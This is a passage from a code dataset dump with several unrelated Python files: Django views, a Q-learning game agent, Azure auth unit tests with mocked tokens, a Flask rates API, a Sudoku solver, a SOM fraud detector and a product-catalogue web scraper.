username=self.request.user.username,\n company_id=self.request.session['company_id'])\n self.object.last_accessed = datetime.datetime.today()\t\n self.object.workflowhead=self.workflowhead\t\n self.object.save()\t\n\n return super(ModelFormMixin, self).form_valid(form) \n\n def get_success_url(self):\n return reverse('workflow_detail', args = [self.kwargs.get('head_id')]) \n\n#Workflow\nclass WorkflowDetail(LoginRequiredMixin,SingleObjectMixin, ListView):\n\n def get_context_data(self, **kwargs):\n kwargs['workflowhead'] = self.object\n return super(WorkflowDetail, self).get_context_data(**kwargs)\n\n def get_queryset(self):\n self.object = self.get_object(WorkflowHead.objects.all())\n return self.object.workflowitem_set.all().order_by('itemno', 'name') \n\n def get_success_url(self):\n return reverse('workflowhead_list') \n\nclass WorkflowDetailCreateItemView(WorkflowDetailBaseView, SimpleViewCreateView): \n pass\n\nclass WorkflowDetailDeleteItemView(WorkflowDetailBaseView, SimpleViewDeleteView): \n pass\n\nclass WorkflowDetailUpdateItemView(WorkflowDetailBaseView, SimpleViewUpdateView): \n def get_context_data(self, *args, **kwargs):\n context_data = super(WorkflowDetailBaseView, self).get_context_data(*args,**kwargs)\n context_data.update({'head_id': None})\t\n return context_data \n\n","sub_path":"Processor/views/workflowdetail.py","file_name":"workflowdetail.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"636620890","text":"# Copyright 2011, Piston Cloud Computing, Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport json\nimport os\n\n\nclass Model(dict):\n def save(self, data):\n dirname = os.path.dirname(self.filename)\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n with open(self.filename, 'w') as fp:\n json.dump(data, fp)\n\n @classmethod\n def load(cls, path):\n with open(os.path.join(path, cls.__file__)) as fp:\n res = json.load(fp)\n if isinstance(res, dict):\n res = cls(res, path=path)\n if isinstance(res, list):\n res = cls([cls.__inner__(r, path) for r in res], path=path)\n return res\n","sub_path":"roundabout/models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"300344695","text":"# Imports.\nimport numpy as np\nimport numpy.random as npr\n\nfrom SwingyMonkey import SwingyMonkey\n\n\nclass Learner(object):\n '''\n This agent jumps randomly.\n '''\n\n def __init__(self):\n self.last_state = None\n self.last_action = None\n self.last_reward = 0\n self.Q = np.zeros((44,2))\n self.alpha = .2\n self.gamma = .15\n self.set_gravity = 1\n self.gravity = None\n self.last_vel = None\n self.epoch = 1\n self.first_action = 1\n self.second_action = 1\n\n def reset(self):\n self.alpha = .2 * (float(200-self.epoch)/400)\n self.last_vel = None\n self.last_state = None\n self.gravity = 1#npr.choice([0,1])\n self.set_gravity = 1\n self.last_action = None\n self.gravity = None\n self.last_reward = 0\n self.first_action = 1\n self.second_action = 1\n\n def interp_state(self, state):\n if (self.last_vel and self.last_action and not self.gravity):\n self.set_gravity = 0\n if (self.last_vel - state[\"monkey\"][\"vel\"] < -35):\n self.gravity = 1\n else:\n self.gravity = 0\n\n tree_top = state[\"tree\"][\"top\"] \n tree_bot = state[\"tree\"][\"bot\"]\n dist = state[\"tree\"][\"dist\"]\n monkey_top = state[\"monkey\"][\"top\"]\n monkey_bot = state[\"monkey\"][\"bot\"]\n monkey_vel = state[\"monkey\"][\"vel\"]\n\n monkey = (monkey_top+monkey_bot)/2\n gap = (tree_top+tree_bot)/2\n\n if (self.gravity == 1):\n if (monkey < gap):\n return 0\n else:\n return 1\n else:\n # if (self.second_action):\n # self.second_action = 0\n # return 2\n gap = tree_bot +(tree_top - tree_bot)/4\n if (monkey < tree_bot and self.last_vel >0):\n return 3\n elif (monkey < tree_bot):\n return 4\n elif (monkey > tree_top and self.last_vel >0):\n return 5\n elif (monkey >tree_top):\n return 6\n # elif (monkey >tree_bot and dist >= 150 and self.last_vel >0):\n # return 7\n # elif (monkey > tree_bot and dist >= 150):\n # return 8\n # elif (monkey >tree_bot and dist >= 0 and self.last_vel >0):\n # return 7\n # elif (monkey > tree_bot and dist >= 0):\n # return 8\n # elif (monkey > gap and self.last_vel >0):\n # return 9\n # elif (monkey >gap):\n # return 10\n # elif (monkey < gap and dist < 200):\n # return 7\n # elif (monkey < gap):\n # return 8\n elif (monkey > gap and self.last_action == 1):\n return 9\n elif (monkey > gap):\n return 10\n elif (monkey < gap and self.last_action == 1):\n return 11\n else:\n return 12\n\n def updateQ(self, newstate):\n self.Q[self.last_state, self.last_action] = self.Q[self.last_state, self.last_action] + self.alpha*(self.last_reward +self.gamma*max(self.Q[newstate, :])- self.Q[self.last_state, self.last_action])\n\n def action_callback(self, state):\n '''\n Implement this function to learn things and take actions.\n Return 0 if you don't want to jump and 1 if you do.\n '''\n # drop to determine gravity\n if (self.first_action):\n self.last_action = 0\n self.last_state = self.interp_state(state)\n self.updateQ(self.last_state)\n self.first_action = 0\n return 0\n\n # jump if gravity is low\n # if (self.gravity == 0 and self.second_action):\n # self.second_action = 0\n # self.last_action = 1\n # self.last_state = self.interp_state(state)\n # self.updateQ(self.last_state)\n # return 1\n\n # You might do some learning here based on the current state and the last state.\n new_state = self.interp_state(state)\n self.updateQ(new_state)\n self.last_vel = state[\"monkey\"][\"vel\"]\n # You'll need to select and action and return it.\n # Return 0 to swing and 1 to jump.\n prob = npr.uniform\n if (prob > 1/self.epoch):\n new_action = np.argmax(self.Q[new_state,:])\n else:\n new_action = npr.randint(0,2)\n self.last_vel = state[\"monkey\"][\"vel\"]\n self.last_action = new_action\n self.last_state = new_state\n\n return self.last_action\n\n def reward_callback(self, reward):\n '''This gets called so you can see what reward you get.'''\n\n self.last_reward = reward\n\n\ndef run_games(learner, hist, iters = 100, t_len = 100):\n '''\n Driver function to simulate learning by having the agent play a sequence of games.\n '''\n \n for ii in range(iters):\n # Make a new monkey object.\n swing = SwingyMonkey(sound=False, # Don't play sounds.\n text=\"Epoch %d\" % (ii), # Display the epoch on screen.\n tick_length = t_len, # Make game ticks super fast.\n action_callback=learner.action_callback,\n reward_callback=learner.reward_callback)\n\n # Loop until you hit something.\n while swing.game_loop():\n pass\n \n learner.epoch +=1\n #print (\"state\", learner.last_state)\n #print (\"gravity\", learner.gravity)\n # Save score history.\n hist.append(swing.score)\n\n # print(learner.Q)\n # Reset the state of the learner.\n learner.reset()\n \n return\n\n\nif __name__ == '__main__':\n\n\t# Select agent.\n\tagent = Learner()\n\n\t# Empty list to save history.\n\thist = []\n\n\tnumepochs = 200\n\t# Run games. \n\trun_games(agent, hist, numepochs, 1)\n\n\t# Save history. \n\tnp.save('hist',np.array(hist))\n\n\n","sub_path":"Practical4/practical4-code/stub.py","file_name":"stub.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"504955462","text":"# Copyright 2018 Contributors to Hyperledger Sawtooth\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# -----------------------------------------------------------------------------\n\nimport datetime as dt\nimport unittest\nfrom unittest import mock\nimport pytest\n\nfrom rbac.providers.azure.aad_auth import AadAuth\nfrom rbac.providers.azure.initial_inbound_sync import get_ids_from_list_of_dicts\nfrom rbac.providers.common.inbound_filters import (\n inbound_group_filter,\n inbound_user_filter,\n)\nfrom tests.unit.providers.azure_reponse_mocks import mock_requests_post\n\n# Tests are commented out until function level testing can occur.\nAADAUTH = AadAuth()\nLIST_OF_DICTS = [\n ([{\"id\": \"red\"}], [\"red\"]),\n ([], []),\n ([{\"id\": \"red\"}, {\"id\": 17}, {\"id\": \"purple\"}], [\"red\", 17, \"purple\"]),\n]\n\n\n@pytest.mark.parametrize(\"input_list,expected\", LIST_OF_DICTS)\ndef test_get_ids_from_list_of_dicts(input_list, expected):\n \"\"\"Test to see if getting ids from a list of dicts returns list of ids\"\"\"\n result = get_ids_from_list_of_dicts(input_list)\n assert result == expected\n\n\ndef test_time_left_true():\n \"\"\"Test that checks time within an hour returns True.\"\"\"\n AADAUTH.token_creation_timestamp = dt.datetime.now()\n result = AADAUTH._time_left() # pylint: disable=protected-access\n assert result is True\n\n\ndef test_time_left_false():\n \"\"\"Test that checks time outside of an hour returns False.\"\"\"\n time = dt.datetime.now() - dt.timedelta(hours=1)\n AADAUTH.token_creation_timestamp = time\n result = AADAUTH._time_left() # pylint: disable=protected-access\n assert result is False\n\n\ndef test_inbound_user_filter():\n \"\"\"Test the inbound user filter for azure transforms and returns a user dict.\"\"\"\n result = inbound_user_filter({\"id\": 1234}, \"azure\")\n assert isinstance(result, dict) is True\n assert result[\"user_id\"] == 1234\n assert \"id\" not in result\n assert result[\"job_title\"] is None\n\n\ndef test_inbound_user_filter_bad_provider():\n \"\"\"Test the inbound user filter with bad provider throws error\"\"\"\n with pytest.raises(TypeError):\n inbound_user_filter({\"id\": 1234}, \"potato\")\n\n\ndef test_inbound_group_filter():\n \"\"\"Test the inbound group filter for azure transforms and returns a group dict.\"\"\"\n result = inbound_group_filter({\"id\": 1234}, \"azure\")\n assert isinstance(result, dict) is True\n assert result[\"role_id\"] == 1234\n assert \"id\" not in result\n assert result[\"classification\"] is None\n\n\ndef test_inbound_group_filter_bad_provider():\n \"\"\"Test the inbound group filter with bad provider throws error\"\"\"\n with pytest.raises(TypeError):\n inbound_group_filter({\"id\": 1234}, \"potato\")\n\n\n# def test_get_token_no_auth_type(caplog):\n# \"\"\"Test that AuthType is given.\"\"\"\n# result = AADAUTH.get_token()\n# for record in caplog.records:\n# assert record.levelname == \"ERROR\"\n# assert (\n# \"Missing AUTH_TYPE environment variable. Aborting sync with Azure AD.\"\n# in caplog.text\n# )\n# assert result is None\n\n\n# def test_get_token_incorrect_auth_type(caplog):\n# \"\"\"Test that AuthType is given.\"\"\"\n# result = AADAUTH.get_token()\n# for record in caplog.records:\n# assert record.levelname == \"ERROR\"\n# assert (\n# \"Missing AUTH_TYPE environment variable. Aborting sync with Azure AD.\"\n# in caplog.text\n# )\n# assert result is None\n\n\nclass AzureResponseTestCase(unittest.TestCase):\n @mock.patch(\"requests.post\", side_effect=mock_requests_post)\n def test_get_token_secret_auth_type(self, mock_post):\n \"\"\"Test secret type authorization.\"\"\"\n json_data = AADAUTH.get_token().json()\n self.assertEqual(json_data, {\"access_token\": \"you_got_access_token\"})\n\n # @mock.patch(\"requests.post\", side_effect=mock_requests_post)\n # def test_get_token_cert_auth_type(self, mock_post):\n # \"\"\"Test credential type authorization.\"\"\"\n # json_data = AADAUTH.get_token(\"cert\").json()\n # self.assertEqual(json_data, {\"access_token\": \"you_got_access_token\"})\n\n @mock.patch(\"requests.post\", side_effect=mock_requests_post)\n def test_check_token_GET_secret(self, mock_post):\n \"\"\"\"Test when there is no graph_token.\"\"\"\n result = AADAUTH.check_token(\"GET\")\n assert result == {\n \"Authorization\": \"you_got_access_token\",\n \"Accept\": \"application/json\",\n }\n\n @mock.patch(\"requests.post\", side_effect=mock_requests_post)\n def test_check_token_POST_secret(self, mock_post):\n \"\"\"\"Test when there is no graph_token.\"\"\"\n result = AADAUTH.check_token(\"PATCH\")\n assert result == {\n \"Authorization\": \"you_got_access_token\",\n \"Content-Type\": \"application/json\",\n }\n\n # @mock.patch(\"requests.post\", side_effect=mock_requests_post)\n # def test_check_token_GET_cert(self, mock_post):\n # \"\"\"\"Test when there is no graph_token.\"\"\"\n # result = AADAUTH.check_token_GET(\"cert\")\n # assert result == {\n # \"Authorization\": \"you_got_access_token\",\n # \"Accept\": \"application/json\",\n # \"Host\": \"graph.microsoft.com\",\n # }\n\n # @mock.patch(\"requests.post\", side_effect=mock_requests_post)\n # def test_check_token_POST_cert(self, mock_post):\n # \"\"\"\"Test when there is no graph_token.\"\"\"\n # result = AADAUTH.check_token_POST(\"cert\")\n # assert result == {\n # \"Authorization\": \"you_got_access_token\",\n # \"Content-Type\": \"application/json\",\n # \"Host\": \"graph.microsoft.com\",\n # }\n","sub_path":"tests/unit/providers/azure_provider.py","file_name":"azure_provider.py","file_ext":"py","file_size_in_byte":6095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"555629629","text":"\"\"\" rates api \"\"\"\n\nfrom typing import Any\nimport pathlib\nimport csv\nimport math\nimport time\nfrom flask import Flask, Response, request, jsonify, abort\n\nrates: list[dict[str,Any]] = []\n\n\napp = Flask(__name__)\n\n@app.route(\"/check\")\ndef check() -> Response:\n \"\"\" health check endpoint \"\"\"\n return \"READY\"\n\n\n@app.route(\"/api/\")\ndef rates_by_date(rate_date: str) -> Response:\n \"\"\" rates_by_date \"\"\"\n\n time.sleep(1)\n\n for rate in rates:\n\n if rate[\"Date\"] == rate_date:\n\n base_country = request.args.get(\"base\", \"EUR\")\n\n if \"symbols\" in request.args:\n country_symbols = request.args[\"symbols\"].split(\",\")\n else:\n country_symbols = [ col for col in rate if col != \"Date\"]\n\n country_rates = {\n country_code: country_rate / rate[base_country]\n for (country_code, country_rate) in rate.items()\n if country_code != \"Date\" and\n country_code in country_symbols and\n not math.isnan(country_rate)\n }\n\n return jsonify({\n \"date\": rate[\"Date\"],\n \"base\": base_country,\n \"rates\": country_rates\n })\n\n abort(404)\n \n\n\"\"\"\n\nURL: http://localhost/api/2021-04-08?base=INR&symbols=USD,EUR\n\n{\n \"date\": \"2021-04-08\",\n \"base\": \"INR\",\n \"rates\": {\n \"USD\": 70,\n \"EUR\": 80,\n }\n}\n\n\n\"\"\" \n\n\ndef load_rates_from_history(\n rates_file_path: pathlib.Path) -> list[dict[str,Any]]:\n \"\"\" load rates from history \"\"\"\n\n rates_history: list[dict[str,Any]] = []\n\n with open(rates_file_path, encoding=\"UTF-8\") as rates_file:\n\n rates_file_csv = csv.DictReader(rates_file)\n\n for rate_row in rates_file_csv:\n\n rate_entry = { \"Date\": rate_row[\"Date\"], \"EUR\": 1.0 }\n\n for rate_col in rate_row:\n if rate_col != \"Date\" and len(rate_col) > 0:\n if rate_row[rate_col] == \"N/A\":\n rate_entry[rate_col] = math.nan\n else:\n rate_entry[rate_col] = float(rate_row[rate_col])\n\n rates_history.append(rate_entry)\n\n return rates_history\n\n\n\ndef start_rates_api() -> None:\n \"\"\" start rates api \"\"\"\n\n global rates\n\n rates_file_path = pathlib.Path(\"..\", \"data\", \"eurofxref-hist.csv\")\n\n rates = load_rates_from_history(rates_file_path)\n\n app.run()\n\n\nif __name__ == \"__main__\":\n print(\"__name__ \", __name__)\n print(\"running module\")\n start_rates_api()\nelse:\n print(\"__name__ \", __name__)\n print(\"importing module\")\n\n","sub_path":"python_demos/src/rates_demo/rates_api.py","file_name":"rates_api.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"432793781","text":"import numpy as np\n\ndef IsFull(Grid):\n return not(0 in Grid)\n\ndef PrintSudoku(Grid):\n print('\\n'.join([''.join(['{:4}'.format(item) for item in row]) \n for row in Grid]))\n\ndef ActualRow(Grid,Position): \n return Grid[Position[0]]\n\ndef ActualColumn(Grid,Position): \n return Grid[:,Position[1]]\n\ndef ActualQuadrant(Grid,Position): \n\n Q1 = np.array([Grid[0][:3],Grid[1][:3],Grid[2][:3]])\n Q2 = np.array([Grid[0][3:6],Grid[1][3:6],Grid[2][3:6]])\n Q3 = np.array([Grid[0][6:9],Grid[1][6:9],Grid[2][6:9]])\n Q4 = np.array([Grid[3][:3],Grid[4][:3],Grid[5][:3]])\n Q5 = np.array([Grid[3][3:6],Grid[4][3:6],Grid[5][3:6]])\n Q6 = np.array([Grid[3][6:9],Grid[4][6:9],Grid[5][6:9]])\n Q7 = np.array([Grid[6][:3],Grid[7][:3],Grid[8][:3]])\n Q8 = np.array([Grid[6][3:6],Grid[7][3:6],Grid[8][3:6]])\n Q9 = np.array([Grid[6][6:9],Grid[7][6:9],Grid[8][6:9]])\n\n\n if Position[0] < 3 and Position[1] < 3:\n return Q1\n if Position[0] < 3 and (Position[1] > 2 and Position[1] < 6) :\n return Q2\n if Position[0] < 3 and (Position[1] > 5):\n return Q3\n if (Position[0] > 2 and Position[0] < 6) and Position[1] < 3:\n return Q4\n if (Position[0] > 2 and Position[0] < 6) and (Position[1] > 2 and Position[1] < 6):\n return Q5\n if (Position[0] > 2 and Position[0] < 6) and (Position[1] > 5):\n return Q6\n if (Position[0] > 5) and Position[1] < 3:\n return Q7\n if (Position[0] > 5) and (Position[1] > 2 and Position[1] < 6):\n return Q8\n if (Position[0] > 5) and (Position[1] > 5):\n return Q9\n\ndef IsValid(Grid, Number, Position): #Given a grid, number and a position o the grid, it returns if the number is valid on the position.\n return not((Number in ActualRow(Grid,Position)) or (Number in ActualColumn(Grid,Position)) or (Number in ActualQuadrant(Grid,Position)))\n\n\ndef Solve(Grid):\n if IsFull(Grid):\n PrintSudoku(Grid)\n return True\n\n for i in range(0,9):\n for j in range(0,9):\n if Grid[i][j] == 0:\n \n for k in range(1,10):\n if IsValid(Grid, k, [i,j]):\n Grid[i][j] = k\n if Solve(Grid):\n return True\n \n Grid[i][j] = 0\n return False\n\n\nif __name__ == \"__main__\":\n Grid = np.array([\n[4, 0, 0, 0, 0, 5, 0, 0, 0],\n[0, 0, 0, 0, 0, 0, 1, 9, 8],\n[3, 0, 0, 0, 8, 2, 4, 0, 0],\n[0, 0, 0, 1, 0, 0, 0, 8, 0],\n[9, 0, 3, 0, 0, 0, 0, 0, 0],\n[0, 0, 0, 0, 3, 0, 6, 7, 0],\n[0, 5, 0, 0, 0, 9, 0, 0, 0],\n[0, 0, 0, 2, 0, 0, 9, 0, 7],\n[6, 4, 0, 3, 0, 0, 0, 0, 0],\n])\n\n\n print(Solve(Grid))\n\n \n\n","sub_path":"BacktrackingSudoku.py","file_name":"BacktrackingSudoku.py","file_ext":"py","file_size_in_byte":2737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"72681338","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import DataRequired\n\nclass SubnetForm(FlaskForm):\n name = StringField('Name', validators=[DataRequired()])\n description = StringField('Description')\n cidr = StringField('CIDR', validators=[DataRequired()])\n submit = SubmitField(label='Submit')\n\nclass AddressForm(FlaskForm):\n address = StringField('IP Address', validators=[DataRequired()])\n hostname = StringField('Hostname')\n submit = SubmitField(label='Submit')\n","sub_path":"app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"237604303","text":"# Self Organizing Map\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\n'''\nDataSet - http://archive.ics.uci.edu/ml/datasets/statlog+(australian+credit+approval)\nThere are 6 numerical and 8 categorical attributes. The labels have been changed for the convenience of the statistical algorithms. \nFor example, attribute 4 originally had 3 labels p,g,gg and these have been changed to labels 1,2,3. \nA1: 0,1 CATEGORICAL (formerly: a,b) \nA2: continuous. \nA3: continuous. \nA4: 1,2,3 CATEGORICAL (formerly: p,g,gg) \nA5: 1, 2,3,4,5, 6,7,8,9,10,11,12,13,14 CATEGORICAL (formerly: ff,d,i,k,j,aa,m,c,w, e, q, r,cc, x) \nA6: 1, 2,3, 4,5,6,7,8,9 CATEGORICAL (formerly: ff,dd,j,bb,v,n,o,h,z) \nA7: continuous. \nA8: 1, 0 CATEGORICAL (formerly: t, f) \nA9: 1, 0\tCATEGORICAL (formerly: t, f) \nA10: continuous. \nA11: 1, 0\tCATEGORICAL (formerly t, f) \nA12: 1, 2, 3 CATEGORICAL (formerly: s, g, p) \nA13: continuous. \nA14: continuous. \nA15: 1,2 class attribute (formerly: +,-)'''\n\ndataset = pd.read_csv('Credit_Card_Applications.csv')\nX = dataset.iloc[:, :-1].values\ny = dataset.iloc[:, -1].values\n\n# Feature Scaling\nfrom sklearn.preprocessing import MinMaxScaler\nsc = MinMaxScaler(feature_range = (0, 1))\nX = sc.fit_transform(X)\n\n# Training the SOM\nfrom minisom import MiniSom\nsom = MiniSom(x = 10, y = 10, input_len = 15, sigma = 1.0, learning_rate = 0.5)\nsom.random_weights_init(X)\nsom.train_random(data = X, num_iteration = 100)\n\n# Visualizing the results\nfrom pylab import bone, pcolor, colorbar, plot, show\nbone()\npcolor(som.distance_map().T)\ncolorbar()\nmarkers = ['o', 's']\ncolors = ['r', 'g']\nfor i, x in enumerate(X):\n w = som.winner(x)\n plot(w[0] + 0.5,\n w[1] + 0.5,\n markers[y[i]],\n markeredgecolor = colors[y[i]],\n markerfacecolor = 'None',\n markersize = 10,\n markeredgewidth = 2)\nshow()\n\n# Finding the frauds\nmappings = som.win_map(X)\nfrauds = np.concatenate((mappings[(8,1)], mappings[(6,8)]), axis = 0)\nfrauds = sc.inverse_transform(frauds)","sub_path":"Unsupervised Deep Learning/Self Organizing Maps (SOM)/Building a SOM/som.py","file_name":"som.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"516491028","text":"#!/usr/bin/env python\n\nimport matplotlib.pyplot as plt\nimport re\nimport statistics\n\nfrom enum import Enum, auto\nfrom matplotlib.colors import hsv_to_rgb\nfrom typing import Dict, List\n\nplt.style.use('seaborn')\n\nclass ResultSet:\n def __init__(self, name, variants):\n self.name = name\n self.__variants = variants\n\n def __repr__(self):\n return \"ResultSet({}, {})\".format(self.name, self.__variants)\n\n def means(self):\n ret = {}\n for var_name in self.__variants:\n ret[var_name] = statistics.mean(self.__variants[var_name])\n return ret\n\n def speedup(self, base, improved):\n ms = self.means()\n return ms[base] / ms[improved]\n\n def chart_data(self):\n return self.name, {\n 'CUDA' : self.speedup('Native', 'CUDA'),\n 'MKL' : self.speedup('Native', 'MKL'),\n 'OpenCL-iGPU' : self.speedup('AMD-Native', 'OpenCL-iGPU'),\n 'OpenCL-GPU' : self.speedup('AMD-Native', 'OpenCL-GPU'),\n }\n\ndef read_results(results_file):\n results = []\n current = {}\n\n for line in results_file:\n if not line.startswith(' '): \n if current != {}:\n results.append(ResultSet(name, current))\n current = {}\n name = line.split(':')[0]\n else:\n line = re.sub(' +', ' ', line).strip()\n bench = line.split(':')[0]\n data = [float(d) for d in line.split(':')[1].split(',')]\n current[bench] = data\n \n results.append(ResultSet(name, current))\n return results\n\ndef autolabel(ax, rects):\n for rect in rects:\n height = rect.get_height()\n if height < 1:\n text_height = height + 0.25\n else:\n text_height = 1.007 * height\n ax.text(rect.get_x() + rect.get_width()/2., 1.0*text_height,\n '{:.2f}×'.format(height),\n ha='center', va='bottom', fontsize=9)\n\ndef plot(data):\n bar_width = 0.15\n fig, axes = plt.subplots(1, len(data), figsize=(10,2))\n for (ax, d) in zip(axes, data):\n # ax.set_axisbelow(True)\n # ax.yaxis.grid(color='gray', linestyle='dotted')\n # ax.xaxis.grid(color='gray', linestyle='dotted')\n\n rs1 = ax.bar(-3*bar_width/2, d[1]['CUDA'], bar_width*0.9,\n edgecolor='black', color=hsv_to_rgb((0.6, 1, 0.8)))\n rs2 = ax.bar(-bar_width/2, d[1]['MKL'], bar_width*0.9,\n edgecolor='black', color=hsv_to_rgb((0.6, 0.4, 0.8)))\n rs3 = ax.bar(bar_width/2, d[1]['OpenCL-iGPU'], bar_width*0.9,\n edgecolor='black', color=hsv_to_rgb((0., 1, 0.8)))\n rs4 = ax.bar(3*bar_width/2, d[1]['OpenCL-GPU'], bar_width*0.9,\n edgecolor='black', color=hsv_to_rgb((0., 0.4, 0.8)))\n autolabel(ax, rs1)\n autolabel(ax, rs2)\n autolabel(ax, rs3)\n autolabel(ax, rs4)\n\n ax.axhline(1, color='black')\n ax.tick_params(axis='x', rotation=-45)\n ax.set_xticks([-3*bar_width/2, -bar_width/2, bar_width/2, 3*bar_width/2])\n ax.set_xticklabels(['CUDA', 'MKL', 'iGPU', 'GPU'])\n ax.set_xlabel(d[0])\n plt.tight_layout()\n return fig\n\nif __name__ == \"__main__\":\n with open('all.txt', 'r') as r_f:\n results = read_results(r_f)\n data = [d.chart_data() for d in results]\n fig = plot(data)\n fig.savefig('perf.pdf')\n","sub_path":"results/cgo/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"608100223","text":"import requests\nimport csv\nfrom bs4 import BeautifulSoup\nimport urllib.request\nfrom pathlib import Path\nimport os\nimport time\n\nurl = 'http://www.ehsy.com/index.php?route=home/category/ajax_category_sub_tree'\nfile_path = 'F:\\\\xdl\\\\github\\\\crawler-demo\\\\url\\\\imgs\\\\'\nheaders={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}\ncate_new = {'擦拭纸'}\n\ndef download_img(img_url, filepath):\n if not img_url:\n return\n request = urllib.request.Request(img_url)\n try:\n response = urllib.request.urlopen(request)\n if (response.getcode() == 200):\n with open(filepath, \"wb\") as f:\n f.write(response.read()) # 将内容写入图片\n return filepath\n except:\n return \"failed\" \n\n\ndef get_data(url):\n response = requests.get(url,headers=headers)\n soup = BeautifulSoup(response.text,'html.parser',from_encoding='utf-8')\n print(soup.title)\n tree_li = soup.find_all(class_ ='li-right-title')\n print(len(tree_li))\n\n csv_file = open('F:\\\\xdl\\\\github\\\\crawler-demo\\\\url\\\\data\\\\xy_cate.csv','w',encoding='utf-8')\n\n writer = csv.writer(csv_file)\n writer.writerow(['三级目录'])\n for i in range(len(tree_li)):\n cate_name = tree_li[i].text\n # 在当前目录\n if cate_name in cate_new:\n cate_href = tree_li[i].a.attrs['href']\n \n page = 1\n total = 1\n while page <= total: # total\n print(i,total,page,time.strftime('%H:%M:%S',time.localtime(time.time()))) \n page_href = cate_href + '?p=' + str(page)\n # 发送请求\n page_res = requests.get(page_href,headers=headers)\n page_soup = BeautifulSoup(page_res.text,'html.parser',from_encoding='utf-8')\n # 目录\n product_cate1 = page_soup.select('.crumbs>a')\n product_cate2 = page_soup.select('.crumbs>.category-new-bread>.bread-title>.bread-span')\n cate_name1 = product_cate1[1].text\n cate_name2 = product_cate2[0].text\n cate_name3 = product_cate2[1].text\n print(page_href,cate_name1,cate_name2,cate_name3)\n # 目录1是否存在\n my_file = Path(file_path+cate_name1)\n if not my_file.exists():\n os.mkdir(my_file)\n # 分页 \n total_page = [] \n if page == 1:\n total_page = page_soup.select('.pagintion .pg-num-total') \n\n # 商品信息\n products = page_soup.select('.product')\n # 属性名称\n product_attr_names = page_soup.select('.commodity-information li.commodity-parameter>span')\n brand_index = -1 # 品牌Index\n model_index = -1 # 型号Index\n cate_index = -1 # 类别Index\n cate_index = -1 # Index\n p_attr_names = []\n if len(product_attr_names)>0:\n for a_n_i in range(len(product_attr_names)-1):\n a_n = product_attr_names[a_n_i].text\n if a_n=='品牌' and brand_index==-1:\n brand_index = a_n_i\n elif a_n=='型号' and model_index==-1:\n model_index = a_n_i\n elif a_n=='类别' and cate_index==-1:\n cate_index = a_n_i\n else:\n p_attr_names.append(a_n)\n\n \n print('品牌/型号/类别:',brand_index,model_index,cate_index,p_attr_names)\n # 爬取一页\n for j in range(len(products)): #len(products)\n p_imgs = products[j].select('a>.p-image>.image-div>img') # 图片\n p_img = ''\n if(len(p_imgs)>0):\n p_img = p_imgs[0].attrs['src']\n p_names = products[j].select('.p-name>a>.high-light') # 品名\n # 商品链接\n detail_href = products[j].select('.p-name>a')[0].attrs['href']\n p_name = ''\n if(len(p_names)>0):\n p_name = p_names[0].text.replace(',',' ')\n p_skus = products[j].select('.order.ell>span:nth-of-type(n+2)') # sku\n p_sku = ''\n if(len(p_skus)>0):\n p_sku = p_skus[0].text\n\n # 下载图片\n # p_img_path = file_path + '//'+cate_name1+'//'+p_sku+'.jpg'\n # if not Path(p_img_path).exists() and len(p_img)>0:\n # download_img(p_img,p_img_path)\n print(p_name)\n\n p_attrs = products[j].select('.product-parameter li') # 属性\n attr=''\n # 遍历属性,价格倒数2���品牌1,型号2,类别3,发货期倒数1 \n a_index = 0\n cate_name4 = ''\n for a_i in range(len(p_attrs)-2):\n a_n = p_attrs[a_i].text\n if a_i==brand_index:\n brand = a_n.replace(' ','')\n elif a_i==cate_index:\n cate_name4 = a_n\n elif a_i==model_index:\n model = a_n\n else:\n attr += p_attr_names[a_index] + ':' + a_n\n if a_index!=len(p_attr_names)-1:\n attr += ';'\n a_index += 1\n price = p_attrs[len(p_attrs)-2].text\n send_date = p_attrs[len(p_attrs)-1].text\n units = products[j].select('.purchase-num .purchase-unit') # 单位\n unit = ''\n if len(units)>0:\n unit = units[0].text\n\n # 获取商品详情 \n detail_res = requests.get(detail_href,headers=headers)\n detail_soup = BeautifulSoup(detail_res.text,'html.parser',from_encoding='utf-8')\n 